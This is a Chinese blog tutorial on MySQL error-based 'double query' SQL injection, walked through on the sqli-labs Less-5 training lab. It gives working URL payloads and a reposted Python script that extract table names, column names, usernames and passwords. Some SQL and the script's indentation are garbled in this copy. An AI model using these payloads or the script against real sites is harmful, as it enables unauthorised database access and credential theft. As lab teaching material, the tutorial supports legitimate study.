SQL注入之双查询注入 – 作者:吉吉国王乱杀

什么是双查询注入呢?

看大佬的解释太深奥,粗俗的理解就是一个select语句里再嵌套一个select语句,将有用的信息显示在SQL的报错信息。

首先,理解四个函数/语句:Concat(),Rand(), Floor(), Count(),Group by clause

①concat()函数

我理解为组合,汇合函数将括号里的符号连接在一起。

1600610055_5f675f07e5d531593564b.png!small将结果连在了一起。1600610109_5f675f3d203e3bfda3712.png!small②Rand函数

用来返回一个01之间的随机数,区间表示就是【0,1)。括号里为空时,随机产生数。

1600610234_5f675fba1279435ed746b.png!small

当括号里的参数固定时,随机数(随机数列)也是固定的。

1600610248_5f675fc8aecf74dc0610a.png!small

让我们看一下随机数列

select rand(3) from information_schema.columns limit 3;

产生三列随机数。

1600610260_5f675fd4435bd98b64aa0.png!small

对比一下还是不变。

③Floor()函数

Floor()函数时取整函数,当输入一个非整数,返回小于等于输入参数的最大整数。

1601029054_5f6dc3bec8b2edec7b853.png!small

④count()函数

用于统计行数。

1601029072_5f6dc3d0680618718b827.png!small

⑤group by 语句

先看这句:

select table_schema, table_name from information_schema.tables;

1601029165_5f6dc42dd5b6344a0044b.png!small

加上group by语句后:

select table_schema, table_name from information_schema.tables by table_schema;

1601029181_5f6dc43d7294f8fd0fa25.png!small

加上之后,数据明显少了很多的重复的。重复的数据库只显示一个,并且只显示数据库里的第一张表。

几个函数灵活运用,会有什么不异想不到的结果呢?

我们实践一下

①rand()函数和floor()函数结合使用。

select floor(rand(5)*12) from information_schema.columns limit 5;

1601029328_5f6dc4d08894d5c4ef63d.png!small

由内到外逐个分析,rand(5)会随机产生5个不同的值,但是*12,就是将【0,1)扩大到【0,12),floor函数就是取整了。

②count()函数和group by语句

select table_schema, count(*) from information_schema.tables group by table_schema;

1601029387_5f6dc50b305796e068027.png!small

他们的组合就是统计了每个数据库里有多少张表。

其原理就是:Mysql会建立一张临时表,有group_key和tally两个字段,其中group_key设置了UNIQUE约束,即不能有两行的group_key列的值相同。使用group by语句和count()函数的时候,mysql数据库会先建立一个虚拟表,当查询到新的键不在虚拟表中,数据库就会将其插入表中,如果数据库中已存在该键,则找到该键对应的计数字段并加1。

③双查询的核心语句(几个函数综合使用)

先看payload:select floor(rand(14)*2) c, count(*) from information_schema.columns group by c;

1601029422_5f6dc52eabc8737228a84.png!small

报错了,那为什么会报错? 分析一下: SQL语句中用列c分组,而列c是floor(rand(14)2)的别名。 floor(rand(14)2)产生的随机数列,前四位是:1,0,1,0。

我们查询的时候,mysql数据库会先建立一个临时表,设置了UNIQUE约束的group_key和tally两个字段。当查询到新的”group_key键”不在临时表中,数据库就会将其插入临时表中,如果数据库中已存在group_key该键,则找到该键对应的”tally计数”字段并加1。

创建好临时表后,Mysql开始逐行扫描information_schema.columns表,遇到的第一个分组列是floor(rand(14)2),计算出其值为1,便去查询临时表中是否有group_key为1的行,发现没有,便在临时表中新增一行,group_key为floor(rand(14)2),注意此时又计算了一次,结果为0。所以实际插入到临时表的一行group_key为0,tally为1,临时表变成了:

1601029435_5f6dc53b83db5a32d4d51.png!small

Mysql继续扫描information_schema.columns表,遇到的第二个分组列还是floor(rand(14)2),计算出其值为1(这个1是随机数列的第三个数),便去查询临时表中是否有group_key为1的行,发现没有,便在临时表中新增一行,group_key为floor(rand(14)2),此时又计算了一次,结果为0(这个0是随机数列的第四个数),所以尝试向临时表插入一行数据,group_key为0,tally为1。但实际上临时表中已经有一行的group_key为0,而group_key又设置了不可重复的约束,所以就会出现报错。

知道了原理,就实战一下。以sql-lib/Less-5为例:

判断闭合点:

1601029447_5f6dc5472d3906a28e67c.png!small

然后查询数据库: 构建payload:?id=-1' union select 1,count(*),concat( (select database()),floor(rand()*2)) as a from information_schema.tables group by a --+

1601029458_5f6dc55299d8a5aae4760.png!small

数据库就在报错的信息里显示出来了。

但是,因为是随机值,所以只会有50%的概率会报错。

1601029471_5f6dc55f45a8d1e7fc2a6.png!small

相同的payload但显示正常。

有大佬说,可以通过修改rand()使用的种子来使其百分百报错,如下将rand()改为rand(1),测试百分之百报错,即payload:?id=-1' union select 1,count(*),concat( (select database()),floor(rand(1)*2)) as a from information_schema.tables group by a --+

1601029590_5f6dc5d67138157542932.png!small

但我发现,rand(1)并不会100%报错,反而我是试了几次都没有报错,只有4,11,14,15这几个数会100%报错,我也不知道什么原因,在这里留个悬念,希望大佬能解释一下。

我们来爆表,前面我们知道了当前数据库的为security,构造payload:?id=-1' union select 1,count(*),concat( (select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand(4)*2)) as a from information_schema.columns group by a --+

1601029574_5f6dc5c60e14a4766d41b.png!small

总共四张表,我们在第三张拿到了我们想要的。

知道了表名,看列值,构造payload:?id=-1' union select 1,count(*),concat( (select column_name from information_schema.columns where table_name='users' limit 4,1),floor(rand(4)*2)) as a from information_schema.columns group by a --+

我通过修改limit X,1里X的值,在3,1的时候看到了password字段

1601029555_5f6dc5b3706da2eb61837.png!small

在9,1的时候得到了用户名字段

1601029637_5f6dc60540878669f41eb.png!small

开始拿用户名和密码,构造payload:?id=-1' union select 1,count(*),concat( (select username from users limit 0,1),floor(rand(4)*2)) as a from information_schema.columns group by a --+

1601029656_5f6dc6182e93faa9b4fad.png!small

?id=-1' union select 1,count(*),concat( (select password from users limit 0,1),floor(rand(4)*2)) as a from information_schema.columns group by a --+

1601029676_5f6dc62c13699d5db58c0.png!small

这里要注意用户名和密码的列数应改相对。

是不是jio着麻烦,附上Mochaaz大佬的python代码

import requests
from bs4 import BeautifulSoup
db_name = ''
table_list = []
column_list = []
url = '''http://192.168.1.158/sqlilabs/Less-5/?id=1'''
### 获取当前数据库名 ###
print('当前数据库名:')
payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select database()),0x3a,floor(rand(0)*2)))--+'''
r = requests.get(url+payload)
db_name = r.text.split(':')[-2]
print('[+]' + db_name)
### 获取表名 ###
print('数据库%s下的表名:' % db_name)
for i in range(50):
payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select table_name from information_schema.tables where table_schema='%s' limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (db_name,i)
r = requests.get(url+payload)
if 'group_key' not in r.text:
break
table_name = r.text.split(':')[-2]
table_list.append(table_name)
print('[+]' + table_name)
### 获取列名 ###
#### 这里以users表为例 ####
print('%s表下的列名:' % table_list[-1])
for i in range(50):
payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select column_name from information_schema.columns where table_name='%s' limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (table_list[-1],i)
r = requests.get(url + payload)
if 'group_key' not in r.text:
break
column_name = r.text.split(':')[-2]
column_list.append(column_name)
print('[+]' + column_name)
### 获取字段值 ###
#### 这里以username列为例 ####
print('%s列下的字段值:' % column_list[-2])
for i in range(50):
payload = '''' and 1=(select count(*) from information_schema.columns group by concat(0x3a,(select %s from %s.%s limit %d,1),0x3a,floor(rand(0)*2)))--+''' % (column_list[-2],db_name,table_list[-1],i)
r = requests.get(url + payload)
if 'group_key' not in r.text:
break
dump = r.text.split(':')[-2]
print('[+]' + dump)

花费几小时的注入,代码几秒就出来结果了。

1601029690_5f6dc63aeac49280c53c8.png!small

用户名直接出来了,我要好好学python了,啥都不会。

来源:freebuf.com 2020-09-25 18:28:49 by: 吉吉国王乱杀

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论